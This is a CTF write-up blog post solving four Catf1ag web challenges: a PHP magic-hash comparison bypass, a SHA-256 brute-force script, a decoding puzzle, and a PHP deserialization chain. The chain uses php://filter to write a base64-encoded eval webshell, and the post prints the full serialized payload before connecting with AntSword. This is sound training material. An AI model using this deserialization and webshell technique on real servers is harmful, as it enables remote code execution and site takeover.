Catf1ag CTF Web(九)

前言

Catf1agCTF 是一个面向所有CTF(Capture The Flag)爱好者的综合训练平台,尤其适合新手学习和提升技能 。该平台由catf1ag团队打造,拥有超过200个原创题目,题目设计注重知识点的掌握,旨在帮助新手掌握CTF相关的各种技能 。除了新手题目,平台也包含难度不一的题目,适合不同水平的CTF参与者 。

平台上的题目类型多样,包括WEB、MISC、CRYPTO、LINUX、PWN/ATTACK、REVERSE等,题目分数制度从60分到100分不等,难度从1星到5星 。题目提交时需要包含完整的题目环境、flag以及writeup,以确保题目的完整性和可解性 。

此外,Catf1agCTF平台还提供了一些辅助工具和资源,如在线工具箱、SRC资料和HW资料等,以帮助用户更好地进行学习和实战演练 。平台的网址为 https://catf1ag.cn/,有意向的用户可以通过官方邮箱catf1ag@163.com进行联系 。对于想要加入交流的用户,平台还提供了官方QQ群和频道,方便用户之间的互动和交流 。

需要注意的是,平台上的部分题目可能需要特定的环境配置,例如WEB题目会包含dockerfile,而PWN/ATTACK题目则必须包含dockerfile以确保题目环境的完整性 。对于题目的flag格式,平台有统一的要求,即flag需要以"catf1ag{}"的格式呈现 。

总的来说,Catf1agCTF是一个资源丰富、适合各个水平CTF爱好者的训练平台,无论是新手还是有经验的参与者,都能在这里找到适合自己的学习和提升机会。

一、md5($md5)

打开靶场

给出了源码

要求 $md5 经过 md5 加密后仍等于 $md5 

<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('flag.php');
$md5 = $_GET['md5'];
if($md5 == md5($md5)){
    echo 'GET_FLAG'.$flag;
}else{
    echo 'md5校验失败...';
}

于是构造:?md5=0e215962017

拿到 flag 

二、[原九小时AK赛] passwd

打开靶场

下载文件 

观察推测为 sha256(通常表示为64个十六进制字符) 

编写脚本破解 sha256 

from hashlib import sha256
for i in range(202210000000,202212120000):
    s='69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95'
    if(sha256(str(i).encode()).hexdigest()==s):
        print(i)
#202211121750

三、[原九小时AK赛] whisper

打开靶场

页面如下

URL 添加上 /whisper 得到奇怪字符 

使用随波逐流一键解码拿到前半段 flag 

根据题目提示:不同的方法,效果不一样。换 Post 方式请求,返回 na_s1aq_nyy_0s_z3} 

四、[原九小时AK赛] wsy给你花花

打开靶场

打开显示源码

<?php 
class catf1ag1{ 
    public $hzy; 
    public $arr; 

    function show(){ 
        show_source(__FILE__); 
    } 

    # __wakeup(): 当对象通过 unserialize() 反序列化时自动调用。遍历 $arr 数组中的每个元素,输出 $hzy 对象的属性,并附加字符串 "hzy是社么鬼???"
    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->hzy->$v;
            echo "</br>hzy是社么鬼???";
        } 

    } 
} 

class catf1ag2{ 
    public $file;
    public $txt = ''; 

    # __get($key): 当访问不存在的属性时调用。如果 $key 是 'pputut',则返回 pputut() 方法的结果,否则返回 $key 的 HTML 转义后的内容
    function __get($key){ 
        if($key == 'pputut'){ 
            # 检查 $file 路径是否包含 '../' 或 '\\',以防止目录遍历攻击。如果发现这些字符,则终止脚本
            return $this->pputut(); 
        }else{ 
            return '<p>'.htmlspecialchars($key).'</p>'; 
        } 
    } 

    function pputut(){ 
        if(    strpos($this->file,'../') !== false || 
            strpos($this->file,'\\') !== false      
        ) die(); 

        $content = '<?php die(\'stupid\'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt; 
        file_put_contents($this->file, $content); 
        return htmlspecialchars($content); 

    } 

} 

if(!empty($_POST)){ 
    $hzy = base64_decode($_POST['wwsysy']); 
    $instance = unserialize($hzy); 
}else{ 
    $a = new catf1ag1(); 
    $a->show(); 
} 
<?php
class catf1ag1{ 
    public $hzy; 
    public $arr; 
 
    function show(){ 
        show_source(__FILE__); 
    } 
 
    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->hzy->$v;
            echo "</br>hzy是社么鬼???";
        } 
 
    } 
} 
 
class catf1ag2{ 
    public $file="";
    public $txt = ''; 
    function __get($key){ 
        if($key == 'pputut'){ 
            return $this->pputut(); 
        }else{ 
            return '<p>'.htmlspecialchars($key).'</p>'; 
        } 
    } 
 
    function pputut(){ 
        if(    strpos($this->file,'../') !== false || 
            strpos($this->file,'\\') !== false      
        ) die(); 
 
        $content = '<?php die(\'stupid\'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt; 
        file_put_contents($this->file, $content); 
        return htmlspecialchars($content); 
 
    } 
 
} 
 
 
$a= new catf1ag1();
$a->arr = array('pputut'); // 将 'pputut' 传给 catf1ag2 
$a->hzy = new catf1ag2();
$a->hzy->file = 'php://filter/convert.base64-decode/resource=flag.php'; // 使用base64-decode绕过content,并将文件输出到 flag.php
$a->hzy->txt = 'IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA=='; // 植入一句话木马 ,密码为a
echo base64_encode(serialize($a));
?>

执行代码得到

Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7czozOiJ0eHQiO3M6NDQ6IklEdy9jR2h3SUVCbGRtRnNLQ1JmVUU5VFZGc25ZU2RkS1RzZ1B6NGdJQT09Ijt9czozOiJhcnIiO2E6MTp7aTowO3M6NjoicHB1dHV0Ijt9fQ==

Post 提交后使用蚁剑连接

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suc2es2

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值